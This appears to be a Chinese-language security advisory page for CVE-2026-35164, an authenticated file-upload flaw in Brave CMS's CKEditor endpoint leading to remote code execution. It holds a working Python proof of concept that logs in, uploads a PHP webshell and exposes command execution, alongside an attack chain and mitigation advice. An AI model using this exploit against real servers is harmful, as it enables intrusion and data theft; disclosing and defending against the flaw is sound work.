IPBUF安全漏洞报告
English
CVE-2026-35164 CVSS 8.8 高危

CVE-2026-35164 Brave CMS远程代码执行漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-35164
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Brave CMS

相关标签

RCE文件上传Brave CMSCVE-2026-35164Web安全CKEditor

漏洞概述

Brave CMS 2.0.6之前版本存在严重的任意文件上传漏洞。该漏洞位于CKEditor上传接口,因系统未对文件类型进行有效验证,导致经过身份认证的攻击者可轻易上传恶意PHP脚本。攻击者通过访问上传的脚本即可在服务器端执行任意代码,从而完全控制受影响系统,造成敏感数据泄露或系统被破坏,风险极高。

技术细节

漏洞核心位于 `app/Http/Controllers/Dashboard/CkEditorController.php` 文件的 `ckupload` 方法中。该方法直接处理用户通过CKEditor组件发送的文件上传请求,但严重缺乏必要的服务器端安全校验机制。代码逻辑未根据文件扩展名、MIME类型或文件内容(Magic Bytes)来严格限制上传行为,而是完全依赖客户端或用户可控的参数。攻击者只需拥有低权限账号,即可构造包含恶意PHP代码的文件(如webshell),通过POST请求发送至该漏洞端点。服务器接收并保存该文件至可访问目录后,攻击者通过浏览器直接请求该文件路径,Web服务器解析PHP代码,从而实现远程代码执行(RCE)。此漏洞利用门槛低,危害极大,直接威胁系统的机密性、完整性和可用性。

攻击链分析

STEP 1
侦察与认证
攻击者识别目标运行的是Brave CMS 2.0.6以下版本,并获取有效的低权限用户账号(CVSS PR:L要求)。
STEP 2
构造载荷
攻击者编写包含恶意PHP代码的脚本(如Webshell),准备通过CKEditor接口上传。
STEP 3
上传恶意文件
攻击者利用已认证的会话,向 `CkEditorController.php` 的 `ckupload` 方法发送POST请求,上传PHP文件。由于缺乏文件类型验证,服务器接受并保存该文件。
STEP 4
执行代码
攻击者通过浏览器访问上传的PHP文件URL,触发服务器端解析执行,从而获得服务器权限,执行任意系统命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://target.com/dashboard/ckupload" # Vulnerable endpoint shell_name = "exploit.php" # Attacker's credentials (required as PR:L) username = "attacker" password = "password" login_url = "http://target.com/login" # PHP payload to execute system commands php_payload = "<?php system($_GET['cmd']); ?>" def exploit(): session = requests.Session() # Step 1: Authenticate to the application print(f"[*] Logging in as {username}...") login_data = { "username": username, "password": password } # Adjust login POST data based on actual form fields session.post(login_url, data=login_data) # Step 2: Upload the malicious file print(f"[*] Uploading {shell_name}...") files = { 'upload': (shell_name, php_payload, 'application/octet-stream') } # The parameter name 'upload' might vary, check the form data response = session.post(target_url, files=files) if response.status_code == 200: print("[+] Upload successful!") print(f"[+] Access your shell at: http://target.com/uploads/{shell_name}?cmd=whoami") else: print("[-] Upload failed.") print(response.text) if __name__ == "__main__": exploit()

影响范围

Brave CMS < 2.0.6

防御指南

临时缓解措施
建议立即升级至安全版本。若暂时无法升级,应在Web服务器层面对上传目录(通常是uploads或public目录)禁用PHP脚本执行权限,并修改文件上传处理逻辑,仅允许图片或文档等非可执行文件上传。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表